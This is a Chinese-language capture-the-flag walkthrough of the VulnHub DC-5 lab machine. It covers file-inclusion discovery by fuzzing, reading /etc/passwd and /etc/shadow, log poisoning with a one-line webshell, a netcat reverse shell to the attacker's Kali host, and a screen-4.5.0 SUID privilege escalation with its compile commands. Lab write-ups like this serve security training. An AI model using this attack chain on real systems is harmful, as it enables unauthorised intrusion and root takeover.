vulnhub dc5 靶场实战
靶场地址:https://download.vulnhub.com/dc/DC-5.zip
首先先看看具体ip是多少
靶机ip为:192.168.123.137
首先当然是端口扫描走一走
既然有80端口,当然是访问一波、指纹信息、后台等都摸一遍
发现是一个静态网站,也没后台
这下没辙了
后来发现在contact页面提交信息后,每次刷新下面的版权信息就会改变
初步判断这里可能存在文件包含
查看一下源代码没有发现什么,那么burpsuite抓个包跑一下
自己构造一下
第一个爆破参数选Directories-long
第二个爆破参数选Filenames-long
虽然没有跑完,但是根据这个报文长度排序后,可以发现file参数是已经确定了的
可以直接退出本次爆破了
重新构造一下参数
然后直接选择Filenames-long进行爆破
发现有个footer页面
用文件包含访问一下
页面正常,那么开始看看 /etc/passwd 和 /etc/shadow
没有什么值得利用的信息
试试日志文件写入
linux的日志文件一般都放在 /var/log/nginx
那么还是构造一下参数爆破一下日志名
字典还是用Filenames-long 进行爆破
看样子存在两个日志文件,一个access.log ,一个error.log
好家伙,内容这么多,看样子每一步操作都会被记录在日志文件,那么久向日志文件写入一句话木马
这里我用的REQUEST方法,用get好像连不上
蚁剑连接
只是网站的权限,先反弹到kali
kali:
1 | nc -lvvp 4545 |
靶机:
1 | nc 192.168.123.184 4545 -3 /bin/bash |
反弹成功
获取交互式shell (提前要判断目标有没有python环境)
1 | python -c "import pty;pty.spawn('/bin/bash')" |
交互式shell拿到,开始提权,首先看看具有suid的命令
1 | find / -user root -perm -4000 -print 2>/dev/null |
有个screen-4.5.0 可以试试提权,为什么选这个,以为其他的都比较常见,而这个搜索了一下有提权的exp
有两个,拿第一个试一试
根据里面的内容,让我们分别要建立文件编译
- 首先建立 libhax.c文件,写入对应的C代码
编译,自己选择位置
1 | gcc -fPIC -shared -ldl -o ./libhax.so ./libhax.c |
会生成一个libhax.so文件,然后把原来的libhax.c给删除掉
1 | rm -f ./libhax.c |
2.建立一个rootshell.c文件,写入内容
编译
1 | gcc -o ./rootshell ./rootshell.c |
同样的,会生成rootshell文件,然后把rootshell.c文件删除
1 | rm -f ./rootshell.c |
- 然后把剩下的再写入一个shell脚本文件,我这里创建一个 dc.sh
因为是shell文件,所以要记得加声明语句
1 | #! /bin/bash |
然后将这三个文件上传到靶机的/tmp目录下
在这里我是用蚁剑传的,当然也可以让靶机通过http服务下载过去,也可以用nc传,方法有很多
然后执行dc.sh,记得先给权限
成功拿到root权限
拿flag